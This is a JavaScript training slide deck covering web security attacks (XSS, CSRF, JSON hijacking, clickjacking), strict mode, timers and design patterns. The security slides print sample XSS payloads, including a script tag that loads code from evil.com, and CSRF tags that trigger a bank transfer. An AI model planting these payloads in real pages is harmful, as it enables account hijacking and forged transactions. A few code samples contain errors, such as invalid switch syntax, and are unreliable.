SlideShare a Scribd company logo
Practical JavaScript Programming
Session 7
Wilson Su
2
https://www.slideshare.net/sweekson/
3
Wilson Su
Front-end Developer, HIE
● 6 years in web design
● Specialize in JavaScript /
CSS / HTML / OOP / Git
● Familiar with PHP / Design
Pattern
● Interested in UI & Ix Design
wilson_su@trend.com.tw
Outline
4
Practical JavaScript Programming
Chapter 14.
● Restricted Features
● Vulnerabilities
Security
Chapter 15.
Best Practice
● Coding Style
● Strict Mode
● Timing Events
Chapter 16.
Design Patterns
● Singleton Pattern
● Factory Pattern
● Dependency Injection
● Module Pattern
● Facade Pattern
● Proxy Pattern
● Observer Pattern
Chapter 14.
Security
5
Restricted Features
6
JavaScript Restricted Features
7
Security
Submit a form
The History object
The FileUpload object
Window size and position
Modify event properties
Mixed content
Close a window Same-origin policy
Vulnerabilities
8
What JavaScript Can Do Globally
● Scripts can override native prototype and methods
● Different scripts can mess with each other's variables
● Different scripts can redefine each other's functions
● Transmit data anywhere
● Watch keystrokes
● All scripts run with equal authority
9
Vulnerabilities
10
Client Side Web Security Attacks
Vulnerabilities
● Cross-Site Scripting / XSS
● Cross-Site Request Forgery / CSRF
● JSON Hijacking
● Clickjacking
● Likejacking / Social Jacking
JS
Cross-Site Scripting
11
Vulnerabilities
<script src="https://evil.com/xss.js"></script>
hacker@gmail.com
Save
Email
Bio
Profile
XSS Attack Examples
12
1. <form action="document.write('evil')">
2. <button typen="submit">Save</button>
3. </form>
4. <input onfocus="document.write('evil')" autofocus/>
5. <img src="x" onerror="document.write('evil')"/>
Cross-Site Request Forgery
13
Vulnerabilities
Bank Let’s Play a Game
http://smart.bank.com http://unsafe.games.com
Popular Games
Play Play Play
Hi, Neo
Account Balance
Transfer 10,000
http://smart.bank.com/transfer?to=12345678&amount=10000
CSRF / Cross Site Request Forgery
14
1. <a href="https://bank.com/transfer?to=123&amount=100">Play</a>
2. <img src="https://bank.com/transfer?to=123&amount=100"/>
3. <iframe src="https://bank.com/transfer?to=123&amount=100">
4. </iframe>
JSON Hijacking
15
Vulnerabilities
Bank Let’s Play a Game
http://smart.bank.com http://unsafe.games.com
Hi, Neo <script>
Object.prototype.__defineSetter
__(…);
</script>
<script
src="https://smart.bank.com/dat
a/account"></script>
Nice see you again.
Clickjacking
16
Vulnerabilities
FB Like
Blog
Fake Like
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
–––––––––––––––––––––––––––––
Chapter 15.
Best Practice
17
Coding Style
18
Avoid Polluting the Global Scope
19
1. var title = 'JS';
2. var add = function () {};
3. function echo () {};
4. console.log(window.hasOwnProperty('title')); // true
5. console.log(window.hasOwnProperty('add')); // true
6. console.log(window.hasOwnProperty('echo')); // true
Reducing Globals
20
1. /* Use a nmaespace */
2. var util = {
3. version: '1.2.0',
4. unique: function () {},
5. extend: function () {}
6. };
Always use semicolon.
21
Automatic Semicolon Insertion - Example 1
22
1. function fn () {
2. var string = 'xyz'
3. var number = 999
4. return { value: 1 }
5. }
6. /* The code got transformed as follows */
7. function fn () {
8. var string = 'xyz';
9. var number = 999;
10. return { value: 1 };
11. }
Automatic Semicolon Insertion - Example 2
23
1. var fn = function () {
2. return {
3. value: 2
4. }
5. }
6. /* The code got transformed as follows */
7. var fn = function () {
8. return {
9. value: 2
10. };
11. };
Automatic Semicolon Insertion - Example 3
24
1. function fn () {
2. var string = 'xyz'
3. number = 999
4. return
5. { value: 3 }
6. }
7. /* The code got transformed as follows */
8. function fn () {
9. var string = 'xyz';
10. number = 999;
11. return;
12. { value: 3 };
13. }
Automatic Semicolon Insertion - Example 4
25
1. var echo = value => value;
2. var list, id, data = { id: 1 };
3. echo('Hi')
4. (list || []).forEach(v => console.log(v))
5. id = data.id
6. [1, 2, 3].map(v => v * 2)
7.
8. /* The code from line 3 to 6 got transformed into 2 lines */
9. echo('Hi')(list || []).forEach(v => console.log(v));
10. // TypeError
11. id = data.id[1, 2, 3].map(v => v * 2);
12. // TypeError
Automatic Semicolon Insertion - Example 5
26
1. (() => console.log('Hi!'))()
2. (() => console.log('Yo!'))()
3.
4. /* Lines got merged */
5. (() => console.log('Hi!'))()(() => console.log('Yo!'))();
6.
7. /* Add a semicolon before an IIFE; therefore, it will prevent
code from being merged into one line. */
8. Math.random()
9. ;(function () {})();
Conditional Evaluation
27
1. if (array.length > 0) {}
2. if (array.length) {}
3.
4. if (array.length === 0) {}
5. if (!array.length) {}
6.
7. if (string !== '') {}
8. if (string) {}
9.
10. if (string === '') {}
11. if (!string) {}
Avoid Using switch
28
1. var action = 'triple', value = 10;
2. switch (action) {
3. case: 'double':
4. value = value * 2;
5. break;
6. case: 'triple':
7. value = value * 3;
8. break;
9. default:
10. value = value;
11. }
Replacing switch Statements With Object Literals
29
1. var cases = {
2. double: function (value) { return value * 2; },
3. triple: function (value) { return value * 3; },
4. normal: function (value) { return value; }
5. };
6. var action = 'triple', value = 10;
7. var fn = action in cases ? cases[action] : cases.normal;
8. fn(value); // 30
Strict Mode
30
Strict Mode for Scripts
31
1. 'use strict';
2. var text = 'A strict mode script';
Strict Mode for Functions
32
1. function strict () {
2. // Function-level strict mode
3. 'use strict';
4. }
5.
6. function nonstrict () {}
Strict Mode for Anonymous Functions
33
1. (function strict () {
2. // Function-level strict mode
3. 'use strict';
4. })();
The strict-mode directive
is only recognized
at the beginning of a script
or a function.
34
The Strict-mode Not Allowed in Function With Non-simple Parameters
35
1. function fn1 (a = 1, b = 2) { 'use strict'; } // SyntaxError
2. function fn2 ([a, b]) { 'use strict'; } // SyntaxError
3. function fn3 (...args) { 'use strict'; } // SyntaxError
4.
5. /* Workaround */
6. (function () {
7. 'use strict';
8. function fn1 (a = 1, b = 2) {}
9. function fn2 ([a, b]) {}
10. function fn3 (...args) {}
11. })();
Impossible to Accidentally Create Global Variables
36
1. (function nonstrict () {
2. id = 'Global';
3. })();
4. console.log(window.id); // 'Global'
1. (function strict () {
2. 'use strict';
3. /* An error is thrown only if the variable not exists
4. in window object */
5. id = 'Global'; // ReferenceError
6. })();
Strict Mode Function
37
1. (function nonstrict () {
2. return this;
3. })();
4. // Window { … }
5.
6. (function strict () {
7. 'use strict';
8. return this;
9. })();
10. // undefined
Unique Function Parameters
38
1. (function nonstrict (arguments) {
2. return arguments;
3. })(10);
4. // 10
5.
6. function strict (arguments) {
7. 'use strict';
8. }
9. // SyntaxError
Duplicate Parameter Name
39
1. function nonstrict (name, name) {
2. return name;
3. }
4. nonstrict('Ben'); // undefined
5. nonstrict('Ben', 'Lisa'); // 'Lisa'
6.
7. function strict (name, name) {
8. 'use strict';
9. }
10. // SyntaxError
Forbid Setting Properties on Primitive Values
40
1. (function nonstrict () {
2. false.type = 'Bool';
3. (14).text = 'Fourteen';
4. 'Ten'.value = 10;
5. })();
6.
7. (function strict () {
8. 'use strict';
9. false.type = 'Bool'; // TypeError
10. (14).text = 'Fourteen'; // TypeError
11. 'Ten'.value = 10; // TypeError
12. })();
Delete of an Unqualified Identifier
41
1. (function nonstrict () {
2. var index;
3. console.log(delete index); // false
4. })();
5.
6. function strict () {
7. 'use strict';
8. var index;
9. console.log(delete index);
10. }
11. // SyntaxError
Not Allow to Use with
42
1. (function nonstrict () {
2. var dog = { age: 5 };
3. with (dog) { age = 3; }
4. console.log(dog); // {age: 3}
5. })();
6.
7. function strict () {
8. 'use strict';
9. var dog = { age: 5 };
10. with (dog) { age = 3; }
11. }
12. // SyntaxError
The eval() Is Not Allowed to Create Variables in Strict-mode
43
1. (function nonstrict () {
2. eval('var number = 30');
3. console.log(number); // 30
4. })();
5.
6. (function strict () {
7. 'use strict';
8. var bool = eval('var bool = true; bool');
9. eval('var number = 30');
10. console.log(bool); // true
11. console.log(number); // ReferenceError
12. })();
Eval is evil.
44
Timing Events
45
A Basic Timing Event
46
1. var timer = setTimeout(function () {
2. console.log('Executed');
3. }, 10 * 1000);
4. /* The clearTimeout() method cancels a timer previously
established by calling setTimeout() */
5. clearTimeout(timer);
A Customable Timing Event Function Using setTimeout
47
1. /* Assume time() is a function to get current time. */
2. function timer (fn, delay = 1000, times = 3) {
3. setTimeout(function () {
4. console.log(time());
5. fn();
6. --times && timer(fn, delay, times);
7. }, delay);
8. };
9. timer(function () {
10. /* Something that blocks for 1 minutes */
11. });
12. // '12:00:01' '12:01:02' '12:02:03'
A Repeatedly Timing Event
48
1. var timer = setInterval(function () {
2. console.log('Executed');
3. }, 10 * 1000);
4. /* The clearInterval() method cancels a timer previously
established by calling setInterval() */
5. clearInterval(timer);
Stacking Calls With setInterval
49
1. setInterval(function () {
2. /* Something that blocks for 1 minutes */
3. }, 1000);
4. /* When code that is being executed blocks the timeout call,
setInterval will still issue more calls to the specified
function. */
Avoid using setInterval.
50
Chapter 16.
Design Patterns
51
Singleton Pattern
52
Singleton Pattern
53
Design Patterns
Static public
method
Private
constructor
A static
member
A class of which only a single instance can exist. Ensure a class only has
one instance, and provide a global point of access to it.
An Example Using the Singleton Pattern
54
1. function Router (options) {
2. if (Router.instance) { return Router.instance; }
3. this.options = options;
4. }
5. Router.instance = null;
6. Router.create = function (options) {
7. if (Router.instance) { return Router.instance; }
8. return Router.instance = new Router(options);
9. }
10. var options = {}, router = Router.create(options);
11. console.log(router === Router.instance); // true
12. console.log(router === new Router(options)); // true
Factory Pattern
55
Factory Pattern
56
Design Patterns
Line
Bar
Pie
ChartFactory
Define an interface for creating an object, but let subclasses decide which
class to instantiate. Factory Method lets a class defer instantiation to
subclasses.
An Example Using the Factory Pattern
57
1. /* Assume class Line, Bar, and Pie are defined */
2. var types = { line: Line, bar: Bar, pie: Pie };
3. class ChartFactory {
4. static create (options) {
5. var type = options.type;
6. if (!type) { throw Error('Chart type is undefined.'); }
7. var Type = type in types ? types[type] : null;
8. if (!type) { throw Error('Unknown chart type.'); }
9. return new Type(options);
10. }
11. }
12. ChartFactory.create({ type: 'line', data: [50, 80, 60] });
13. ChartFactory.create({ type: 'pie', data: [10, 20, 70] });
Dependency Injection
58
Dependency Injection
59
Design Patterns
Dependency injection is a technique whereby one object supplies the
dependencies of another object. It is one specific implementation of the
inversion of control technique.
App
A
B
C
D
depends
Examples Using the Dependency Injection
60
1. /* Example 1 */
2. function Router () {}
3. function Storage () {}
4. function App () {}
5. new App(new Router(), new Storage());
6.
7. /* Example 2 - Dynamically loads dependencies */
8. function Combobox (input, dropdown) {}
9. var injector = { resolve: function (deps, fn) {} };
10. var dependencies = ['Input', 'Dropdown'];
11. injector.resolve(dependencies, (input, dropdown) => {
12. var combobox = new Combobox(input, dropdown);
13. });
Module Pattern
61
Module Pattern
62
Design Patterns
The Module pattern is used to emulate the concept of classes in such a
way that we're able to include both public/private methods and variables
inside a single object, thus shielding particular parts from the global scope.
Router Menu ChartjQuery
An Example Using the Module Pattern
63
1. /* Global module */
2. var collection = (function () {
3. 'use strict';
4. var module = {};
5. var items = []; // Private
6. var sort = function () {}; // Private
7. module.name = 'collection'; // Public
8. module.push = function (data) {}; // Public
9. return module;
10. })();
An Example Using the Revealing Module Pattern
64
1. /* Global module */
2. var collection = (function () {
3. 'use strict';
4. var name = 'collection';
5. var items = [];
6. function sort () {};
7. function push (data) {};
8. return { name, push };
9. })();
AMD / Asynchronous Module Definition
65
1. /* collection.js */
2. define(['./libs/jquery'], function ($) {
3. 'use strict';
4. var name = 'collection';
5. var items = [];
6. function sort () {};
7. function push (data) {};
8. return { name, push };
9. });
CommonJS
66
1. 'use strict';
2. var $ = require('jquery');
3. var name = 'collection';
4. var items = [];
5. function sort () {};
6. function push (data) {};
7. module.exports = { name, push };
UMD / Universal Module Definition
67
1. (function (root, factory) {
2. if (typeof define === 'function' && define.amd) {
3. define(['jquery'], factory);
4. } else if (typeof exports === 'object') {
5. module.exports = factory(require('jquery'));
6. } else {
7. root.collection = factory(root.jQuery);
8. }
9. })(this, function ($) {
10. 'use strict';
11. var name = 'collection', items = [];
12. var sort = () => {}, push = (data) => {};
13. return { name, push };
14. });
Facade Pattern
68
Facade Pattern
69
Design Patterns
A single class that represents an entire subsystem. Provide a unified
interface to a set of interfaces in a system. Facade defines a higher-level
interface that makes the subsystem easier to use.
Facade
Internal A Internal B Internal C
An Example Using the Facade Pattern
70
1. function bind (elem, event, listener) {
2. if (elem.addEventListener) {
3. elem.addEventListener(event, listener, false);
4. } else if (elem.attachEvent) {
5. elem.attachEvent('on' + event, listener);
6. } else {
7. elem['on' + event] = listener;
8. }
9. }
10. var button = document.getElementById('save');
11. bind(button, 'click', function () {});
12. bind(button, 'dblclick', function () {});
Proxy Pattern
71
Proxy Pattern
72
Design Patterns
Proxy Real ObjectClient
An object representing another object. Provide a surrogate or placeholder
for another object to control access to it.
An Example Using the Proxy Pattern
73
1. class ElementProxy {
2. constructor (selector) {
3. this.selector = selector;
4. this.elem = document.querySelector(selector);
5. }
6. on (event, listener, capture) {
7. this.elem.addEventListener(event, listener, capture);
8. return this;
9. }
10. attr (attr, value) {}
11. }
12. var button = new ElementProxy('button#submit');
13. button.attr('disabled', false).on('click', () => {});
Observer Pattern
74
Observer Pattern
75
Design Patterns
Subject
Observer
Observer
Observer
notify
notify
notifysubject
changed
Define a one-to-many dependency between objects so that when one
object changes state, all its dependents are notified and updated
automatically.
An Example Using the Observer Pattern
76
1. class Subject {
2. attach (observer) { this.set.add(observer); }
3. detach (observer) { this.set.delete(observer); }
4. notify () { this.observers.forEach(o => o.update()); }
5. setState(state) { this.state = state; }
6. }
7. class Observer {
8. update () {}
9. }
10. var subject = new Subject(), observer = new Observer(subject);
11. subject.attach(observer);
12. subject.setState('changed');
13. subject.notify();
An Example Using the Publish/Subscribe Pattern
77
1. class EventEmitter {
2. on(event, listener) {}
3. off(event, listener) {}
4. once(event, listener) {}
5. emit(event, listener) {}
6. }
7. var emitter = new EventEmitter();
8. emitter.on('done', (data) => console.log('Done.'));
9. emitter.on('error', (error) => console.log('Error!'));
10. fetch('/api/users').then((response) => {
11. emitter.emit('done', response.json());
12. })
13. .catch(error => emitter.emit('error', error));
Reference
78
● Clickjacking - Wikipedia
● Cross-Site Scripting (XSS) Cheat Sheet | Veracode
● Cross-Site Scripting – Application Security – Google
● Dependency injection - Wikipedia
● Guide to CSRF (Cross-Site Request Forgery) | Veracode
● HTML5 Security Cheatsheet
● JavaScript Security
● JSON Hijacking | You've Been Hacked
Practical JavaScript Programming
Reference
79
● Mixed content - Web security | MDN
● Principles of Writing Consistent, Idiomatic JavaScript
● Security Guide for Developers
● Social jacking - Wikipedia
● Strict mode restriction - JavaScript | MDN
● Strict mode - JavaScript | MDN
● The 23 Gang of Four Design Patterns
● Understanding Automatic Semicolon Insertion in JavaScript
Practical JavaScript Programming
Reference Books
● Effective JavaScript
● JavaScript: The Good Parts
● JavaScript: The Definitive Guide, 4th Edition
● Learning JavaScript Design Patterns
80
Practical JavaScript Programming
Questions?
81
THANKS

More Related Content

What's hot (19)

Обзор фреймворка Twisted
Обзор фреймворка TwistedОбзор фреймворка Twisted
Обзор фреймворка Twisted
Maxim Kulsha
 
PHP Static Code Review
PHP Static Code ReviewPHP Static Code Review
PHP Static Code Review
Damien Seguy
 
To Err Is Human
To Err Is HumanTo Err Is Human
To Err Is Human
Alex Liu
 
JavaScript and the AST
JavaScript and the ASTJavaScript and the AST
JavaScript and the AST
Jarrod Overson
 
ClojurianからみたElixir
ClojurianからみたElixirClojurianからみたElixir
ClojurianからみたElixir
Kent Ohashi
 
Testing your javascript code with jasmine
Testing your javascript code with jasmineTesting your javascript code with jasmine
Testing your javascript code with jasmine
Rubyc Slides
 
Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6
Riza Fahmi
 
Server1
Server1Server1
Server1
FahriIrawan3
 
async/await Revisited
async/await Revisitedasync/await Revisited
async/await Revisited
Riza Fahmi
 
The zen of async: Best practices for best performance
The zen of async: Best practices for best performanceThe zen of async: Best practices for best performance
The zen of async: Best practices for best performance
Microsoft Developer Network (MSDN) - Belgium and Luxembourg
 
Java Bytecode: Passing Parameters
Java Bytecode: Passing ParametersJava Bytecode: Passing Parameters
Java Bytecode: Passing Parameters
Anton Arhipov
 
連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」
matuura_core
 
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV) Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Mobivery
 
Why Sifu
Why SifuWhy Sifu
Why Sifu
LambdaWorks
 
Specs2
Specs2Specs2
Specs2
Piyush Mishra
 
ES2015 workflows
ES2015 workflowsES2015 workflows
ES2015 workflows
Jarrod Overson
 
JavaScript Design Patterns
JavaScript Design PatternsJavaScript Design Patterns
JavaScript Design Patterns
Derek Brown
 
LISA QooxdooTutorial Slides
LISA QooxdooTutorial SlidesLISA QooxdooTutorial Slides
LISA QooxdooTutorial Slides
Tobias Oetiker
 
Say It With Javascript
Say It With JavascriptSay It With Javascript
Say It With Javascript
Giovanni Scerra ☃
 
Обзор фреймворка Twisted
Обзор фреймворка TwistedОбзор фреймворка Twisted
Обзор фреймворка Twisted
Maxim Kulsha
 
PHP Static Code Review
PHP Static Code ReviewPHP Static Code Review
PHP Static Code Review
Damien Seguy
 
To Err Is Human
To Err Is HumanTo Err Is Human
To Err Is Human
Alex Liu
 
JavaScript and the AST
JavaScript and the ASTJavaScript and the AST
JavaScript and the AST
Jarrod Overson
 
ClojurianからみたElixir
ClojurianからみたElixirClojurianからみたElixir
ClojurianからみたElixir
Kent Ohashi
 
Testing your javascript code with jasmine
Testing your javascript code with jasmineTesting your javascript code with jasmine
Testing your javascript code with jasmine
Rubyc Slides
 
Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6Essentials and Impactful Features of ES6
Essentials and Impactful Features of ES6
Riza Fahmi
 
async/await Revisited
async/await Revisitedasync/await Revisited
async/await Revisited
Riza Fahmi
 
Java Bytecode: Passing Parameters
Java Bytecode: Passing ParametersJava Bytecode: Passing Parameters
Java Bytecode: Passing Parameters
Anton Arhipov
 
連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」連邦の白いヤツ 「Objective-C」
連邦の白いヤツ 「Objective-C」
matuura_core
 
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV) Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Formacion en movilidad: Conceptos de desarrollo en iOS (IV)
Mobivery
 
JavaScript Design Patterns
JavaScript Design PatternsJavaScript Design Patterns
JavaScript Design Patterns
Derek Brown
 
LISA QooxdooTutorial Slides
LISA QooxdooTutorial SlidesLISA QooxdooTutorial Slides
LISA QooxdooTutorial Slides
Tobias Oetiker
 

Similar to Practical JavaScript Programming - Session 7/8 (20)

Use me strict
Use me strictUse me strict
Use me strict
Igor Napierala
 
Workshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScriptWorkshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScript
Visual Engineering
 
JavaScript Gotchas
JavaScript GotchasJavaScript Gotchas
JavaScript Gotchas
Robert MacLean
 
Surviving javascript.pptx
Surviving javascript.pptxSurviving javascript.pptx
Surviving javascript.pptx
Tamas Rev
 
Javascript
JavascriptJavascript
Javascript
Sunil Thakur
 
The JavaScript Programming Language
The JavaScript Programming LanguageThe JavaScript Programming Language
The JavaScript Programming Language
Mohammed Irfan Shaikh
 
Intermediate JavaScript
Intermediate JavaScriptIntermediate JavaScript
Intermediate JavaScript
☆ Milan Adamovsky ☆
 
LinkedIn TBC JavaScript 100: Intro
LinkedIn TBC JavaScript 100: IntroLinkedIn TBC JavaScript 100: Intro
LinkedIn TBC JavaScript 100: Intro
Adam Crabtree
 
JavaScript Good Practices
JavaScript Good PracticesJavaScript Good Practices
JavaScript Good Practices
Jussi Pohjolainen
 
JavaScript for impatient programmers.pdf
JavaScript for impatient programmers.pdfJavaScript for impatient programmers.pdf
JavaScript for impatient programmers.pdf
JoaqunFerrariIlusus
 
379008-rc217-functionalprogramming
379008-rc217-functionalprogramming379008-rc217-functionalprogramming
379008-rc217-functionalprogramming
Luis Atencio
 
Functional Programming in Javascript - IL Tech Talks week
Functional Programming in Javascript - IL Tech Talks weekFunctional Programming in Javascript - IL Tech Talks week
Functional Programming in Javascript - IL Tech Talks week
yoavrubin
 
Short intro to ECMAScript
Short intro to ECMAScriptShort intro to ECMAScript
Short intro to ECMAScript
Jussi Pohjolainen
 
Javascript essentials
Javascript essentialsJavascript essentials
Javascript essentials
Bedis ElAchèche
 
Javascript fundamentals and not
Javascript fundamentals and notJavascript fundamentals and not
Javascript fundamentals and not
Salvatore Fazio
 
Advanced JavaScript Development
Advanced JavaScript DevelopmentAdvanced JavaScript Development
Advanced JavaScript Development
Jussi Pohjolainen
 
JavaScript: Patterns, Part 1
JavaScript: Patterns, Part  1JavaScript: Patterns, Part  1
JavaScript: Patterns, Part 1
Chris Farrell
 
JavaScript Primer
JavaScript PrimerJavaScript Primer
JavaScript Primer
Daniel Cousineau
 
JavaScript The Definitive Guide 7th Edition David Flanagan
JavaScript The Definitive Guide 7th Edition David FlanaganJavaScript The Definitive Guide 7th Edition David Flanagan
JavaScript The Definitive Guide 7th Edition David Flanagan
nohelardif
 
Exciting JavaScript - Part I
Exciting JavaScript - Part IExciting JavaScript - Part I
Exciting JavaScript - Part I
Eugene Lazutkin
 
Workshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScriptWorkshop 1: Good practices in JavaScript
Workshop 1: Good practices in JavaScript
Visual Engineering
 
Surviving javascript.pptx
Surviving javascript.pptxSurviving javascript.pptx
Surviving javascript.pptx
Tamas Rev
 
LinkedIn TBC JavaScript 100: Intro
LinkedIn TBC JavaScript 100: IntroLinkedIn TBC JavaScript 100: Intro
LinkedIn TBC JavaScript 100: Intro
Adam Crabtree
 
JavaScript for impatient programmers.pdf
JavaScript for impatient programmers.pdfJavaScript for impatient programmers.pdf
JavaScript for impatient programmers.pdf
JoaqunFerrariIlusus
 
379008-rc217-functionalprogramming
379008-rc217-functionalprogramming379008-rc217-functionalprogramming
379008-rc217-functionalprogramming
Luis Atencio
 
Functional Programming in Javascript - IL Tech Talks week
Functional Programming in Javascript - IL Tech Talks weekFunctional Programming in Javascript - IL Tech Talks week
Functional Programming in Javascript - IL Tech Talks week
yoavrubin
 
Javascript fundamentals and not
Javascript fundamentals and notJavascript fundamentals and not
Javascript fundamentals and not
Salvatore Fazio
 
Advanced JavaScript Development
Advanced JavaScript DevelopmentAdvanced JavaScript Development
Advanced JavaScript Development
Jussi Pohjolainen
 
JavaScript: Patterns, Part 1
JavaScript: Patterns, Part  1JavaScript: Patterns, Part  1
JavaScript: Patterns, Part 1
Chris Farrell
 
JavaScript The Definitive Guide 7th Edition David Flanagan
JavaScript The Definitive Guide 7th Edition David FlanaganJavaScript The Definitive Guide 7th Edition David Flanagan
JavaScript The Definitive Guide 7th Edition David Flanagan
nohelardif
 
Exciting JavaScript - Part I
Exciting JavaScript - Part IExciting JavaScript - Part I
Exciting JavaScript - Part I
Eugene Lazutkin
 
Ad

More from Wilson Su (8)

Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For Beginners
Wilson Su
 
NestJS
NestJSNestJS
NestJS
Wilson Su
 
The Jira How-To Guide
The Jira How-To GuideThe Jira How-To Guide
The Jira How-To Guide
Wilson Su
 
The Future of Web Development
The Future of Web DevelopmentThe Future of Web Development
The Future of Web Development
Wilson Su
 
Web Usability
Web UsabilityWeb Usability
Web Usability
Wilson Su
 
Puppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node APIPuppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node API
Wilson Su
 
Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8
Wilson Su
 
Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8
Wilson Su
 
Mirage For Beginners
Mirage For BeginnersMirage For Beginners
Mirage For Beginners
Wilson Su
 
The Jira How-To Guide
The Jira How-To GuideThe Jira How-To Guide
The Jira How-To Guide
Wilson Su
 
The Future of Web Development
The Future of Web DevelopmentThe Future of Web Development
The Future of Web Development
Wilson Su
 
Web Usability
Web UsabilityWeb Usability
Web Usability
Wilson Su
 
Puppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node APIPuppeteer - Headless Chrome Node API
Puppeteer - Headless Chrome Node API
Wilson Su
 
Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8Practical JavaScript Programming - Session 3/8
Practical JavaScript Programming - Session 3/8
Wilson Su
 
Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8Practical JavaScript Programming - Session 2/8
Practical JavaScript Programming - Session 2/8
Wilson Su
 
Ad

Recently uploaded (20)

Week 6- PC HARDWARE AND MAINTENANCE-THEORY.pptx
Week 6- PC HARDWARE AND MAINTENANCE-THEORY.pptxWeek 6- PC HARDWARE AND MAINTENANCE-THEORY.pptx
Week 6- PC HARDWARE AND MAINTENANCE-THEORY.pptx
dayananda54
 
New Microsoft Office Word Documentfrf.docx
New Microsoft Office Word Documentfrf.docxNew Microsoft Office Word Documentfrf.docx
New Microsoft Office Word Documentfrf.docx
misheetasah
 
Semi-Conductor ppt ShubhamSeSemi-Con.pptx
Semi-Conductor ppt ShubhamSeSemi-Con.pptxSemi-Conductor ppt ShubhamSeSemi-Con.pptx
Semi-Conductor ppt ShubhamSeSemi-Con.pptx
studyshubham18
 
WIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODS
WIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODSWIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODS
WIRELESS COMMUNICATION SECURITY AND IT’S PROTECTION METHODS
samueljackson3773
 
02 - Ethics & Professionalism - BEM, IEM, MySET.PPT
02 - Ethics & Professionalism - BEM, IEM, MySET.PPT02 - Ethics & Professionalism - BEM, IEM, MySET.PPT
02 - Ethics & Professionalism - BEM, IEM, MySET.PPT
SharinAbGhani1
 
fHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghj
fHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghjfHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghj
fHUINhKG5lM1WBBk608.pptxfhjjhhjffhiuhhghj
yadavshivank2006
 
Artificial Power 2025 raport krajobrazowy
Artificial Power 2025 raport krajobrazowyArtificial Power 2025 raport krajobrazowy
Artificial Power 2025 raport krajobrazowy
dominikamizerska1
 
11th International Conference on Data Mining (DaMi 2025)
11th International Conference on Data Mining (DaMi 2025)11th International Conference on Data Mining (DaMi 2025)
11th International Conference on Data Mining (DaMi 2025)
kjim477n
 
Computer_vision-photometric_image_formation.pdf
Computer_vision-photometric_image_formation.pdfComputer_vision-photometric_image_formation.pdf
Computer_vision-photometric_image_formation.pdf
kumarprem6767merp
 
David Boutry - Mentors Junior Developers
David Boutry - Mentors Junior DevelopersDavid Boutry - Mentors Junior Developers
David Boutry - Mentors Junior Developers
David Boutry
 
362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...
362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...
362 Alec Data Center Solutions-Slysium Data Center-AUH-Glands & Lugs, Simplex...
djiceramil
 
FINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptx
FINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptxFINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptx
FINAL 2013 Module 20 Corrosion Control and Sequestering PPT Slides.pptx
kippcam
 
A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...
A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...
A DECISION SUPPORT SYSTEM FOR ESTIMATING COST OF SOFTWARE PROJECTS USING A HY...
ijfcstjournal
 
chemistry investigatory project for class 12
chemistry investigatory project for class 12chemistry investigatory project for class 12
chemistry investigatory project for class 12
Susis10
 
Airport_Substation_With_Diagrams (2).pptx
Airport_Substation_With_Diagrams (2).pptxAirport_Substation_With_Diagrams (2).pptx
Airport_Substation_With_Diagrams (2).pptx
BibekMedhi2
 
362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf
362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf
362 Alec Data Center Solutions-Slysium Data Center-AUH-Adaptaflex.pdf
djiceramil
 
Third Review PPT that consists of the project d etails like abstract.
Third Review PPT that consists of the project d etails like abstract.Third Review PPT that consists of the project d etails like abstract.
Third Review PPT that consists of the project d etails like abstract.
Sowndarya6
 
3. What is the principles of Teamwork_Module_V1.0.ppt
